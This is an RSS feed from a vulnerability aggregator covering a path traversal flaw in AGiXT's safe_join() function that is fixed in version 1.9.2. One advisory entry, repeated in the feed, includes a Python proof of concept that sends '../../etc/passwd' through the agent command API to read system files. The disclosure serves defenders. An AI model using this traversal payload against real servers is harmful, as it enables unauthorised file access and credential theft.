<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sat, 17 Oct 2026 13:07:32 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-291018</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-291018</link>
      <description>EUVD-2026-291018</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-291018</guid>
    </item>
    <item>
      <title>fkie_cve-2026-39981</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2026-39981</link>
      <description>&lt;p&gt;AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2026-39981</guid>
    </item>
    <item>
      <title>GHSA-5gfj-64gh-mgmw — AGiXT Vulnerable to Path Traversal in safe_join()</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-5gfj-64gh-mgmw</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: agixt&lt;/p&gt;
&lt;p&gt;### Summary
The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.&lt;/p&gt;
&lt;p&gt;### Details
`agixt/endpoints/Extension.py:165` (source) -&amp;gt; `agixt/XT.py:1035` (hop) -&amp;gt; `agixt/extensions/essential_abilities.py:436` (sink)&lt;/p&gt;
&lt;p&gt;```python
# source
command_args = command.command_args&lt;/p&gt;
&lt;p&gt;# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)&lt;/p&gt;
&lt;p&gt;# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split(&amp;#34;/&amp;#34;)))
```
### PoC
 
```python
# tested on: agixt&amp;lt;=1.9.1
# install: pip install agixt==1.9.1
 
import requests
 
BASE = &amp;#34;http://localhost:7437&amp;#34;
TOKEN = &amp;#34;&amp;lt;your_api_key&amp;gt;&amp;#34;
 
headers = {&amp;#34;Authorization&amp;#34;: f&amp;#34;Bearer {TOKEN}&amp;#34;}
 
payload = {
    &amp;#34;command_name&amp;#34;: &amp;#34;read_file&amp;#34;,
    &amp;#34;command_args&amp;#34;: {
        &amp;#34;filename&amp;#34;: &amp;#34;../../etc/passwd&amp;#34;
    }
}
 
r = requests.post(f&amp;#34;{BASE}/api/agent/MyAgent/command&amp;#34;, json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...
```
 
### Impact
 
Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: agixt&lt;/p&gt;
&lt;p&gt;### Summary
The safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance.&lt;/p&gt;
&lt;p&gt;### Details
`agixt/endpoints/Extension.py:165` (source) -&amp;gt; `agixt/XT.py:1035` (hop) -&amp;gt; `agixt/extensions/essential_abilities.py:436` (sink)&lt;/p&gt;
&lt;p&gt;```python
# source
command_args = command.command_args&lt;/p&gt;
&lt;p&gt;# hop
response = await Extensions(...).execute_command(command_name=command_name, command_args=command_args)&lt;/p&gt;
&lt;p&gt;# sink
new_path = os.path.normpath(os.path.join(self.WORKING_DIRECTORY, *paths.split(&amp;#34;/&amp;#34;)))
```
### PoC
 
```python
# tested on: agixt&amp;lt;=1.9.1
# install: pip install agixt==1.9.1
 
import requests
 
BASE = &amp;#34;http://localhost:7437&amp;#34;
TOKEN = &amp;#34;&amp;lt;your_api_key&amp;gt;&amp;#34;
 
headers = {&amp;#34;Authorization&amp;#34;: f&amp;#34;Bearer {TOKEN}&amp;#34;}
 
payload = {
    &amp;#34;command_name&amp;#34;: &amp;#34;read_file&amp;#34;,
    &amp;#34;command_args&amp;#34;: {
        &amp;#34;filename&amp;#34;: &amp;#34;../../etc/passwd&amp;#34;
    }
}
 
r = requests.post(f&amp;#34;{BASE}/api/agent/MyAgent/command&amp;#34;, json=payload, headers=headers)
print(r.text)
# expected output: root:x:0:0:root:/root:/bin/bash ...
```
 
### Impact
 
Authenticated users can read, overwrite, or delete arbitrary files on the host server, enabling credential theft, persistent code execution, or denial of service. Authentication is required but no elevated privileges are needed beyond a valid API key.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-5gfj-64gh-mgmw</guid>
    </item>
    <item>
      <title>PYSEC-2026-2093</title>
      <link>https://cve.radiocsirt.org/vuln/pysec-2026-2093</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: agixt&lt;/p&gt;
&lt;p&gt;AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; PyPI: agixt&lt;/p&gt;
&lt;p&gt;AGiXT is a dynamic AI Agent Automation Platform. Prior to 1.9.2, the safe_join() function in the essential_abilities extension fails to validate that resolved file paths remain within the designated agent workspace. An authenticated attacker can use directory traversal sequences to read, write, or delete arbitrary files on the server hosting the AGiXT instance. This vulnerability is fixed in 1.9.2.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/pysec-2026-2093</guid>
    </item>
  </channel>
</rss>
